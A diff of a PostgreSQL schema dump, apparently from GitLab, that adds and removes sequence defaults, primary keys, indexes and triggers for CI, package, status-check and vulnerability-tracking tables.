+ALTER TABLE ONLY analytics_usage_trends_measurements ALTER COLUMN id SET DEFAULT nextval('analytics_usage_trends_measurements_id_seq'::regclass);
ALTER TABLE ONLY appearances ALTER COLUMN id SET DEFAULT nextval('appearances_id_seq'::regclass);
@@ -19527,10 +19706,16 @@ ALTER TABLE ONLY ci_instance_variables ALTER COLUMN id SET DEFAULT nextval('ci_i
ALTER TABLE ONLY ci_job_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_job_artifacts_id_seq'::regclass);
+ALTER TABLE ONLY ci_job_token_project_scope_links ALTER COLUMN id SET DEFAULT nextval('ci_job_token_project_scope_links_id_seq'::regclass);
+
ALTER TABLE ONLY ci_job_variables ALTER COLUMN id SET DEFAULT nextval('ci_job_variables_id_seq'::regclass);
+ALTER TABLE ONLY ci_minutes_additional_packs ALTER COLUMN id SET DEFAULT nextval('ci_minutes_additional_packs_id_seq'::regclass);
+
ALTER TABLE ONLY ci_namespace_monthly_usages ALTER COLUMN id SET DEFAULT nextval('ci_namespace_monthly_usages_id_seq'::regclass);
+ALTER TABLE ONLY ci_pending_builds ALTER COLUMN id SET DEFAULT nextval('ci_pending_builds_id_seq'::regclass);
+
ALTER TABLE ONLY ci_pipeline_artifacts ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_artifacts_id_seq'::regclass);
ALTER TABLE ONLY ci_pipeline_chat_data ALTER COLUMN id SET DEFAULT nextval('ci_pipeline_chat_data_id_seq'::regclass);
@@ -19563,6 +19748,8 @@ ALTER TABLE ONLY ci_runner_projects ALTER COLUMN id SET DEFAULT nextval('ci_runn
ALTER TABLE ONLY ci_runners ALTER COLUMN id SET DEFAULT nextval('ci_runners_id_seq'::regclass);
+ALTER TABLE ONLY ci_running_builds ALTER COLUMN id SET DEFAULT nextval('ci_running_builds_id_seq'::regclass);
+
ALTER TABLE ONLY ci_sources_pipelines ALTER COLUMN id SET DEFAULT nextval('ci_sources_pipelines_id_seq'::regclass);
ALTER TABLE ONLY ci_sources_projects ALTER COLUMN id SET DEFAULT nextval('ci_sources_projects_id_seq'::regclass);
@@ -19715,6 +19902,10 @@ ALTER TABLE ONLY external_approval_rules_protected_branches ALTER COLUMN id SET
ALTER TABLE ONLY external_pull_requests ALTER COLUMN id SET DEFAULT nextval('external_pull_requests_id_seq'::regclass);
+ALTER TABLE ONLY external_status_checks ALTER COLUMN id SET DEFAULT nextval('external_status_checks_id_seq'::regclass);
+
+ALTER TABLE ONLY external_status_checks_protected_branches ALTER COLUMN id SET DEFAULT nextval('external_status_checks_protected_branches_id_seq'::regclass);
+
ALTER TABLE ONLY feature_gates ALTER COLUMN id SET DEFAULT nextval('feature_gates_id_seq'::regclass);
ALTER TABLE ONLY features ALTER COLUMN id SET DEFAULT nextval('features_id_seq'::regclass);
@@ -19951,6 +20142,8 @@ ALTER TABLE ONLY packages_debian_group_component_files ALTER COLUMN id SET DEFAU
ALTER TABLE ONLY packages_debian_group_components ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_components_id_seq'::regclass);
+ALTER TABLE ONLY packages_debian_group_distribution_keys ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_distribution_keys_id_seq'::regclass);
+
ALTER TABLE ONLY packages_debian_group_distributions ALTER COLUMN id SET DEFAULT nextval('packages_debian_group_distributions_id_seq'::regclass);
ALTER TABLE ONLY packages_debian_project_architectures ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_architectures_id_seq'::regclass);
@@ -19959,6 +20152,8 @@ ALTER TABLE ONLY packages_debian_project_component_files ALTER COLUMN id SET DEF
ALTER TABLE ONLY packages_debian_project_components ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_components_id_seq'::regclass);
+ALTER TABLE ONLY packages_debian_project_distribution_keys ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_distribution_keys_id_seq'::regclass);
+
ALTER TABLE ONLY packages_debian_project_distributions ALTER COLUMN id SET DEFAULT nextval('packages_debian_project_distributions_id_seq'::regclass);
ALTER TABLE ONLY packages_debian_publications ALTER COLUMN id SET DEFAULT nextval('packages_debian_publications_id_seq'::regclass);
@@ -20173,6 +20368,8 @@ ALTER TABLE ONLY trending_projects ALTER COLUMN id SET DEFAULT nextval('trending
ALTER TABLE ONLY u2f_registrations ALTER COLUMN id SET DEFAULT nextval('u2f_registrations_id_seq'::regclass);
+ALTER TABLE ONLY upcoming_reconciliations ALTER COLUMN id SET DEFAULT nextval('upcoming_reconciliations_id_seq'::regclass);
+
ALTER TABLE ONLY uploads ALTER COLUMN id SET DEFAULT nextval('uploads_id_seq'::regclass);
ALTER TABLE ONLY user_agent_details ALTER COLUMN id SET DEFAULT nextval('user_agent_details_id_seq'::regclass);
@@ -20209,6 +20406,8 @@ ALTER TABLE ONLY vulnerability_external_issue_links ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_finding_evidence_headers ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_headers_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_finding_evidence_requests ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_requests_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_evidence_responses ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_evidence_responses_id_seq'::regclass);
@@ -20484,21 +20683,18 @@ ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
ADD CONSTRAINT analytics_cycle_analytics_project_value_streams_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT analytics_devops_adoption_segment_selections_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY analytics_devops_adoption_segments
ADD CONSTRAINT analytics_devops_adoption_segments_pkey PRIMARY KEY (id);
ALTER TABLE ONLY analytics_devops_adoption_snapshots
ADD CONSTRAINT analytics_devops_adoption_snapshots_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY analytics_instance_statistics_measurements
- ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY analytics_language_trend_repository_languages
ADD CONSTRAINT analytics_language_trend_repository_languages_pkey PRIMARY KEY (programming_language_id, project_id, snapshot_date);
+ALTER TABLE ONLY analytics_usage_trends_measurements
+ ADD CONSTRAINT analytics_usage_trends_measurements_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY appearances
ADD CONSTRAINT appearances_pkey PRIMARY KEY (id);
@@ -20700,12 +20896,21 @@ ALTER TABLE ONLY ci_instance_variables
ALTER TABLE ONLY ci_job_artifacts
ADD CONSTRAINT ci_job_artifacts_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT ci_job_token_project_scope_links_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_job_variables
ADD CONSTRAINT ci_job_variables_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_minutes_additional_packs
+ ADD CONSTRAINT ci_minutes_additional_packs_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_namespace_monthly_usages
ADD CONSTRAINT ci_namespace_monthly_usages_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT ci_pending_builds_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_pipeline_artifacts
ADD CONSTRAINT ci_pipeline_artifacts_pkey PRIMARY KEY (id);
@@ -20754,6 +20959,9 @@ ALTER TABLE ONLY ci_runner_projects
ALTER TABLE ONLY ci_runners
ADD CONSTRAINT ci_runners_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT ci_running_builds_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT ci_sources_pipelines_pkey PRIMARY KEY (id);
@@ -21009,6 +21217,12 @@ ALTER TABLE ONLY external_approval_rules_protected_branches
ALTER TABLE ONLY external_pull_requests
ADD CONSTRAINT external_pull_requests_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY external_status_checks
+ ADD CONSTRAINT external_status_checks_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY external_status_checks_protected_branches
+ ADD CONSTRAINT external_status_checks_protected_branches_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY feature_gates
ADD CONSTRAINT feature_gates_pkey PRIMARY KEY (id);
@@ -21423,6 +21637,9 @@ ALTER TABLE ONLY packages_debian_group_component_files
ALTER TABLE ONLY packages_debian_group_components
ADD CONSTRAINT packages_debian_group_components_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY packages_debian_group_distribution_keys
+ ADD CONSTRAINT packages_debian_group_distribution_keys_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY packages_debian_group_distributions
ADD CONSTRAINT packages_debian_group_distributions_pkey PRIMARY KEY (id);
@@ -21435,6 +21652,9 @@ ALTER TABLE ONLY packages_debian_project_component_files
ALTER TABLE ONLY packages_debian_project_components
ADD CONSTRAINT packages_debian_project_components_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY packages_debian_project_distribution_keys
+ ADD CONSTRAINT packages_debian_project_distribution_keys_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY packages_debian_project_distributions
ADD CONSTRAINT packages_debian_project_distributions_pkey PRIMARY KEY (id);
@@ -21813,6 +22033,9 @@ ALTER TABLE ONLY trending_projects
ALTER TABLE ONLY u2f_registrations
ADD CONSTRAINT u2f_registrations_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY upcoming_reconciliations
+ ADD CONSTRAINT upcoming_reconciliations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY uploads
ADD CONSTRAINT uploads_pkey PRIMARY KEY (id);
@@ -21882,6 +22105,9 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT vulnerability_finding_evidence_headers_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_finding_evidence_requests
ADD CONSTRAINT vulnerability_finding_evidence_requests_pkey PRIMARY KEY (id);
@@ -21930,9 +22156,6 @@ ALTER TABLE ONLY vulnerability_statistics
ALTER TABLE ONLY vulnerability_user_mentions
ADD CONSTRAINT vulnerability_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY web_hook_logs_archived
- ADD CONSTRAINT web_hook_logs_archived_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY web_hook_logs
ADD CONSTRAINT web_hook_logs_pkey PRIMARY KEY (id, created_at);
@@ -22106,6 +22329,8 @@ CREATE INDEX approval_mr_rule_index_merge_request_id ON approval_merge_request_r
CREATE UNIQUE INDEX bulk_import_trackers_uniq_relation_by_entity ON bulk_import_trackers USING btree (bulk_import_entity_id, relation);
+CREATE INDEX cadence_create_iterations_automation ON iterations_cadences USING btree (automatic, duration_in_weeks, date((COALESCE(last_run_date, '1970-01-01'::date) + ((duration_in_weeks)::double precision * '7 days'::interval)))) WHERE (duration_in_weeks IS NOT NULL);
+
CREATE INDEX ci_builds_gitlab_monitor_metrics ON ci_builds USING btree (status, created_at, project_id) WHERE ((type)::text = 'Ci::Build'::text);
CREATE INDEX code_owner_approval_required ON protected_branches USING btree (project_id, code_owner_approval_required) WHERE (code_owner_approval_required = true);
@@ -22122,6 +22347,10 @@ CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_and_note_id_index ON epic_user
CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON epic_user_mentions USING btree (epic_id) WHERE (note_id IS NULL);
+CREATE INDEX finding_evidence_header_on_finding_evidence_request_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_request_id);
+
+CREATE INDEX finding_evidence_header_on_finding_evidence_response_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_response_id);
+
CREATE INDEX finding_evidence_requests_on_finding_evidence_id ON vulnerability_finding_evidence_requests USING btree (vulnerability_finding_evidence_id);
CREATE INDEX finding_evidence_responses_on_finding_evidences_id ON vulnerability_finding_evidence_responses USING btree (vulnerability_finding_evidence_id);
@@ -22130,6 +22359,10 @@ CREATE INDEX finding_evidences_on_vulnerability_occurrence_id ON vulnerability_f
CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
+CREATE UNIQUE INDEX i_ci_job_token_project_scope_links_on_source_and_target_project ON ci_job_token_project_scope_links USING btree (source_project_id, target_project_id);
+
+CREATE INDEX idx_analytics_devops_adoption_segments_on_namespace_id ON analytics_devops_adoption_segments USING btree (namespace_id);
+
CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
CREATE INDEX idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id ON award_emoji USING btree (user_id, name, awardable_type, awardable_id);
@@ -22204,6 +22437,10 @@ CREATE UNIQUE INDEX idx_on_external_approval_rules_project_id_external_url ON ex
CREATE UNIQUE INDEX idx_on_external_approval_rules_project_id_name ON external_approval_rules USING btree (project_id, name);
+CREATE UNIQUE INDEX idx_on_external_status_checks_project_id_external_url ON external_status_checks USING btree (project_id, external_url);
+
+CREATE UNIQUE INDEX idx_on_external_status_checks_project_id_name ON external_status_checks USING btree (project_id, name);
+
CREATE INDEX idx_packages_build_infos_on_package_id ON packages_build_infos USING btree (package_id);
CREATE INDEX idx_packages_debian_group_component_files_on_architecture_id ON packages_debian_group_component_files USING btree (architecture_id);
@@ -22212,6 +22449,10 @@ CREATE INDEX idx_packages_debian_project_component_files_on_architecture_id ON p
CREATE INDEX idx_packages_packages_on_project_id_name_version_package_type ON packages_packages USING btree (project_id, name, version, package_type);
+CREATE INDEX idx_pkgs_debian_group_distribution_keys_on_distribution_id ON packages_debian_group_distribution_keys USING btree (distribution_id);
+
+CREATE INDEX idx_pkgs_debian_project_distribution_keys_on_distribution_id ON packages_debian_project_distribution_keys USING btree (distribution_id);
+
CREATE UNIQUE INDEX idx_pkgs_dep_links_on_pkg_id_dependency_id_dependency_type ON packages_dependency_links USING btree (package_id, dependency_id, dependency_type);
CREATE INDEX idx_proj_feat_usg_on_jira_dvcs_cloud_last_sync_at_and_proj_id ON project_feature_usages USING btree (jira_dvcs_cloud_last_sync_at, project_id) WHERE (jira_dvcs_cloud_last_sync_at IS NOT NULL);
@@ -22312,8 +22553,6 @@ CREATE UNIQUE INDEX index_analytics_ca_project_value_streams_on_project_id_and_n
CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
-CREATE UNIQUE INDEX index_analytics_devops_adoption_segments_on_namespace_id ON analytics_devops_adoption_segments USING btree (namespace_id);
-
CREATE INDEX index_application_settings_on_custom_project_templates_group_id ON application_settings USING btree (custom_project_templates_group_id);
CREATE INDEX index_application_settings_on_file_template_project_id ON application_settings USING btree (file_template_project_id);
@@ -22404,12 +22643,12 @@ CREATE INDEX index_badges_on_group_id ON badges USING btree (group_id);
CREATE INDEX index_badges_on_project_id ON badges USING btree (project_id);
+CREATE UNIQUE INDEX index_batched_background_migrations_on_unique_configuration ON batched_background_migrations USING btree (job_class_name, table_name, column_name, job_arguments);
+
CREATE INDEX index_batched_jobs_by_batched_migration_id_and_id ON batched_background_migration_jobs USING btree (batched_background_migration_id, id);
CREATE INDEX index_batched_jobs_on_batched_migration_id_and_status ON batched_background_migration_jobs USING btree (batched_background_migration_id, status);
-CREATE INDEX index_batched_migrations_on_job_table_and_column_name ON batched_background_migrations USING btree (job_class_name, table_name, column_name);
-
CREATE INDEX index_board_assignees_on_assignee_id ON board_assignees USING btree (assignee_id);
CREATE UNIQUE INDEX index_board_assignees_on_board_id_and_assignee_id ON board_assignees USING btree (board_id, assignee_id);
@@ -22606,12 +22845,24 @@ CREATE INDEX index_ci_job_artifacts_on_project_id ON ci_job_artifacts USING btre
CREATE INDEX index_ci_job_artifacts_on_project_id_for_security_reports ON ci_job_artifacts USING btree (project_id) WHERE (file_type = ANY (ARRAY[5, 6, 7, 8]));
+CREATE INDEX index_ci_job_token_project_scope_links_on_added_by_id ON ci_job_token_project_scope_links USING btree (added_by_id);
+
+CREATE INDEX index_ci_job_token_project_scope_links_on_target_project_id ON ci_job_token_project_scope_links USING btree (target_project_id);
+
CREATE INDEX index_ci_job_variables_on_job_id ON ci_job_variables USING btree (job_id);
CREATE UNIQUE INDEX index_ci_job_variables_on_key_and_job_id ON ci_job_variables USING btree (key, job_id);
+CREATE INDEX index_ci_minutes_additional_packs_on_namespace_id_purchase_xid ON ci_minutes_additional_packs USING btree (namespace_id, purchase_xid);
+
CREATE UNIQUE INDEX index_ci_namespace_monthly_usages_on_namespace_id_and_date ON ci_namespace_monthly_usages USING btree (namespace_id, date);
+CREATE INDEX index_ci_pending_builds_id_on_protected_partial ON ci_pending_builds USING btree (id) WHERE (protected = true);
+
+CREATE UNIQUE INDEX index_ci_pending_builds_on_build_id ON ci_pending_builds USING btree (build_id);
+
+CREATE INDEX index_ci_pending_builds_on_project_id ON ci_pending_builds USING btree (project_id);
+
CREATE INDEX index_ci_pipeline_artifacts_failed_verification ON ci_pipeline_artifacts USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
CREATE INDEX index_ci_pipeline_artifacts_needs_verification ON ci_pipeline_artifacts USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
@@ -22706,7 +22957,15 @@ CREATE INDEX index_ci_runner_projects_on_project_id ON ci_runner_projects USING
CREATE INDEX index_ci_runner_projects_on_runner_id ON ci_runner_projects USING btree (runner_id);
-CREATE INDEX index_ci_runners_on_contacted_at ON ci_runners USING btree (contacted_at);
+CREATE INDEX index_ci_runners_on_contacted_at_and_id_desc ON ci_runners USING btree (contacted_at, id DESC);
+
+CREATE INDEX index_ci_runners_on_contacted_at_desc_and_id_desc ON ci_runners USING btree (contacted_at DESC, id DESC);
+
+CREATE INDEX index_ci_runners_on_created_at_and_id_desc ON ci_runners USING btree (created_at, id DESC);
+
+CREATE INDEX index_ci_runners_on_created_at_desc_and_id_desc ON ci_runners USING btree (created_at DESC, id DESC);
+
+CREATE INDEX index_ci_runners_on_description_trigram ON ci_runners USING gin (description gin_trgm_ops);
CREATE INDEX index_ci_runners_on_locked ON ci_runners USING btree (locked);
@@ -22716,6 +22975,12 @@ CREATE INDEX index_ci_runners_on_token ON ci_runners USING btree (token);
CREATE INDEX index_ci_runners_on_token_encrypted ON ci_runners USING btree (token_encrypted);
+CREATE UNIQUE INDEX index_ci_running_builds_on_build_id ON ci_running_builds USING btree (build_id);
+
+CREATE INDEX index_ci_running_builds_on_project_id ON ci_running_builds USING btree (project_id);
+
+CREATE INDEX index_ci_running_builds_on_runner_id ON ci_running_builds USING btree (runner_id);
+
CREATE INDEX index_ci_sources_pipelines_on_pipeline_id ON ci_sources_pipelines USING btree (pipeline_id);
CREATE INDEX index_ci_sources_pipelines_on_project_id ON ci_sources_pipelines USING btree (project_id);
@@ -23066,6 +23331,10 @@ CREATE INDEX index_epics_on_start_date_sourcing_epic_id ON epics USING btree (st
CREATE INDEX index_epics_on_start_date_sourcing_milestone_id ON epics USING btree (start_date_sourcing_milestone_id);
+CREATE INDEX index_esc_protected_branches_on_external_status_check_id ON external_status_checks_protected_branches USING btree (external_status_check_id);
+
+CREATE INDEX index_esc_protected_branches_on_protected_branch_id ON external_status_checks_protected_branches USING btree (protected_branch_id);
+
CREATE INDEX index_events_on_action ON events USING btree (action);
CREATE INDEX index_events_on_author_id_and_created_at ON events USING btree (author_id, created_at);
@@ -23090,7 +23359,7 @@ CREATE INDEX index_evidences_on_release_id ON evidences USING btree (release_id)
CREATE INDEX index_experiment_subjects_on_experiment_id ON experiment_subjects USING btree (experiment_id);
-CREATE INDEX index_experiment_subjects_on_group_id ON experiment_subjects USING btree (group_id);
+CREATE INDEX index_experiment_subjects_on_namespace_id ON experiment_subjects USING btree (namespace_id);
CREATE INDEX index_experiment_subjects_on_project_id ON experiment_subjects USING btree (project_id);
@@ -23400,6 +23669,8 @@ CREATE INDEX index_jira_tracker_data_on_service_id ON jira_tracker_data USING bt
CREATE INDEX index_keys_on_expires_at_and_expiry_notification_undelivered ON keys USING btree (date(timezone('UTC'::text, expires_at)), expiry_notification_delivered_at) WHERE (expiry_notification_delivered_at IS NULL);
+CREATE INDEX index_keys_on_expires_at_and_id ON keys USING btree (date(timezone('UTC'::text, expires_at)), id) WHERE (expiry_notification_delivered_at IS NULL);
+
CREATE UNIQUE INDEX index_keys_on_fingerprint ON keys USING btree (fingerprint);
CREATE INDEX index_keys_on_fingerprint_sha256 ON keys USING btree (fingerprint_sha256);
@@ -23496,8 +23767,16 @@ CREATE UNIQUE INDEX index_merge_request_cleanup_schedules_on_merge_request_id ON
CREATE INDEX index_merge_request_diff_commits_on_sha ON merge_request_diff_commits USING btree (sha);
+CREATE INDEX index_merge_request_diff_details_failed_verification ON merge_request_diff_details USING btree (verification_retry_at NULLS FIRST) WHERE (verification_state = 3);
+
+CREATE INDEX index_merge_request_diff_details_needs_verification ON merge_request_diff_details USING btree (verification_state) WHERE ((verification_state = 0) OR (verification_state = 3));
+
CREATE INDEX index_merge_request_diff_details_on_merge_request_diff_id ON merge_request_diff_details USING btree (merge_request_diff_id);
+CREATE INDEX index_merge_request_diff_details_on_verification_state ON merge_request_diff_details USING btree (verification_state);
+
+CREATE INDEX index_merge_request_diff_details_pending_verification ON merge_request_diff_details USING btree (verified_at NULLS FIRST) WHERE (verification_state = 0);
+
CREATE INDEX index_merge_request_diffs_by_id_partial ON merge_request_diffs USING btree (id) WHERE ((files_count > 0) AND ((NOT stored_externally) OR (stored_externally IS NULL)));
CREATE INDEX index_merge_request_diffs_on_external_diff_store ON merge_request_diffs USING btree (external_diff_store);
@@ -23724,7 +24003,7 @@ CREATE INDEX index_on_id_partial_with_legacy_storage ON projects USING btree (id
CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON identities USING btree (lower((extern_uid)::text), provider);
-CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_instance_statistics_measurements USING btree (identifier, recorded_at);
+CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_usage_trends_measurements USING btree (identifier, recorded_at);
CREATE INDEX index_on_label_links_all_columns ON label_links USING btree (target_id, label_id, target_type);
@@ -23748,12 +24027,6 @@ CREATE INDEX index_on_projects_lower_path ON projects USING btree (lower((path):
CREATE INDEX index_on_routes_lower_path ON routes USING btree (lower((path)::text));
-CREATE UNIQUE INDEX index_on_segment_selections_group_id_segment_id ON analytics_devops_adoption_segment_selections USING btree (group_id, segment_id);
-
-CREATE UNIQUE INDEX index_on_segment_selections_project_id_segment_id ON analytics_devops_adoption_segment_selections USING btree (project_id, segment_id);
-
-CREATE INDEX index_on_segment_selections_segment_id ON analytics_devops_adoption_segment_selections USING btree (segment_id);
-
CREATE INDEX index_on_snapshots_segment_id_end_time ON analytics_devops_adoption_snapshots USING btree (segment_id, end_time);
CREATE INDEX index_on_snapshots_segment_id_recorded_at ON analytics_devops_adoption_snapshots USING btree (segment_id, recorded_at);
@@ -23978,6 +24251,10 @@ CREATE UNIQUE INDEX index_project_features_on_project_id ON project_features USI
CREATE INDEX index_project_features_on_project_id_bal_20 ON project_features USING btree (project_id) WHERE (builds_access_level = 20);
+CREATE UNIQUE INDEX index_project_features_on_project_id_include_container_registry ON project_features USING btree (project_id) INCLUDE (container_registry_access_level);
+
+COMMENT ON INDEX index_project_features_on_project_id_include_container_registry IS 'Included column (container_registry_access_level) improves performance of the ContainerRepository.for_group_and_its_subgroups scope query';
+
CREATE INDEX index_project_features_on_project_id_ral_20 ON project_features USING btree (project_id) WHERE (repository_access_level = 20);
CREATE INDEX index_project_group_links_on_group_id ON project_group_links USING btree (group_id);
@@ -24164,6 +24441,8 @@ CREATE INDEX index_protected_environment_deploy_access_levels_on_group_id ON pro
CREATE INDEX index_protected_environment_deploy_access_levels_on_user_id ON protected_environment_deploy_access_levels USING btree (user_id);
+CREATE UNIQUE INDEX index_protected_environments_on_group_id_and_name ON protected_environments USING btree (group_id, name) WHERE (group_id IS NOT NULL);
+
CREATE INDEX index_protected_environments_on_project_id ON protected_environments USING btree (project_id);
CREATE UNIQUE INDEX index_protected_environments_on_project_id_and_name ON protected_environments USING btree (project_id, name);
@@ -24434,7 +24713,7 @@ CREATE INDEX index_sprints_on_due_date ON sprints USING btree (due_date);
CREATE INDEX index_sprints_on_group_id ON sprints USING btree (group_id);
-CREATE UNIQUE INDEX index_sprints_on_group_id_and_title ON sprints USING btree (group_id, title) WHERE (group_id IS NOT NULL);
+CREATE UNIQUE INDEX index_sprints_on_iterations_cadence_id_and_title ON sprints USING btree (iterations_cadence_id, title);
CREATE UNIQUE INDEX index_sprints_on_project_id_and_iid ON sprints USING btree (project_id, iid);
@@ -24446,6 +24725,8 @@ CREATE INDEX index_sprints_on_title_trigram ON sprints USING gin (title gin_trgm
CREATE INDEX index_status_check_responses_on_external_approval_rule_id ON status_check_responses USING btree (external_approval_rule_id);
+CREATE INDEX index_status_check_responses_on_external_status_check_id ON status_check_responses USING btree (external_status_check_id);
+
CREATE INDEX index_status_check_responses_on_merge_request_id ON status_check_responses USING btree (merge_request_id);
CREATE UNIQUE INDEX index_status_page_published_incidents_on_issue_id ON status_page_published_incidents USING btree (issue_id);
@@ -24550,6 +24831,8 @@ CREATE INDEX index_unit_test_failures_failed_at ON ci_unit_test_failures USING b
CREATE UNIQUE INDEX index_unit_test_failures_unique_columns ON ci_unit_test_failures USING btree (unit_test_id, failed_at DESC, build_id);
+CREATE UNIQUE INDEX index_upcoming_reconciliations_on_namespace_id ON upcoming_reconciliations USING btree (namespace_id);
+
CREATE INDEX index_uploads_on_checksum ON uploads USING btree (checksum);
CREATE INDEX index_uploads_on_model_id_and_model_type ON uploads USING btree (model_id, model_type);
@@ -24744,6 +25027,8 @@ CREATE UNIQUE INDEX index_vulnerability_remediations_on_project_id_and_checksum
CREATE UNIQUE INDEX index_vulnerability_scanners_on_project_id_and_external_id ON vulnerability_scanners USING btree (project_id, external_id);
+CREATE INDEX index_vulnerability_statistics_on_latest_pipeline_id ON vulnerability_statistics USING btree (latest_pipeline_id);
+
CREATE INDEX index_vulnerability_statistics_on_letter_grade ON vulnerability_statistics USING btree (letter_grade);
CREATE UNIQUE INDEX index_vulnerability_statistics_on_unique_project_id ON vulnerability_statistics USING btree (project_id);
@@ -24754,10 +25039,6 @@ CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id ON vulnerabili
CREATE UNIQUE INDEX index_vulns_user_mentions_on_vulnerability_id_and_note_id ON vulnerability_user_mentions USING btree (vulnerability_id, note_id);
-CREATE INDEX index_web_hook_logs_on_created_at_and_web_hook_id ON web_hook_logs_archived USING btree (created_at, web_hook_id);
-
-CREATE INDEX index_web_hook_logs_on_web_hook_id ON web_hook_logs_archived USING btree (web_hook_id);
-
CREATE INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ON ONLY web_hook_logs USING btree (created_at, web_hook_id);
CREATE INDEX index_web_hook_logs_part_on_web_hook_id ON ONLY web_hook_logs USING btree (web_hook_id);
@@ -24856,7 +25137,9 @@ CREATE INDEX tmp_idx_deduplicate_vulnerability_occurrences ON vulnerability_occu
CREATE INDEX tmp_idx_on_namespaces_delayed_project_removal ON namespaces USING btree (id) WHERE (delayed_project_removal = true);
-CREATE INDEX tmp_index_on_security_findings_scan_id ON security_findings USING btree (scan_id) WHERE (uuid IS NULL);
+CREATE INDEX tmp_index_namespaces_empty_traversal_ids_with_child_namespaces ON namespaces USING btree (id) WHERE ((parent_id IS NOT NULL) AND (traversal_ids = '{}'::integer[]));
+
+CREATE INDEX tmp_index_namespaces_empty_traversal_ids_with_root_namespaces ON namespaces USING btree (id) WHERE ((parent_id IS NULL) AND (traversal_ids = '{}'::integer[]));
CREATE INDEX tmp_index_on_vulnerabilities_non_dismissed ON vulnerabilities USING btree (id) WHERE (state <> 2);
@@ -25140,24 +25423,34 @@ ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_p
ALTER INDEX product_analytics_events_experimental_pkey ATTACH PARTITION gitlab_partitions_static.product_analytics_events_experimental_63_pkey;
-CREATE TRIGGER table_sync_trigger_b99eb6998c AFTER INSERT OR DELETE OR UPDATE ON web_hook_logs FOR EACH ROW EXECUTE FUNCTION table_sync_function_29bc99d6db();
-
CREATE TRIGGER trigger_07c94931164e BEFORE INSERT OR UPDATE ON push_event_payloads FOR EACH ROW EXECUTE FUNCTION trigger_07c94931164e();
CREATE TRIGGER trigger_21e7a2602957 BEFORE INSERT OR UPDATE ON ci_build_needs FOR EACH ROW EXECUTE FUNCTION trigger_21e7a2602957();
CREATE TRIGGER trigger_3f6129be01d2 BEFORE INSERT OR UPDATE ON ci_builds FOR EACH ROW EXECUTE FUNCTION trigger_3f6129be01d2();
+CREATE TRIGGER trigger_490d204c00b3 BEFORE INSERT OR UPDATE ON ci_stages FOR EACH ROW EXECUTE FUNCTION trigger_490d204c00b3();
+
CREATE TRIGGER trigger_51ab7cef8934 BEFORE INSERT OR UPDATE ON ci_builds_runner_session FOR EACH ROW EXECUTE FUNCTION trigger_51ab7cef8934();
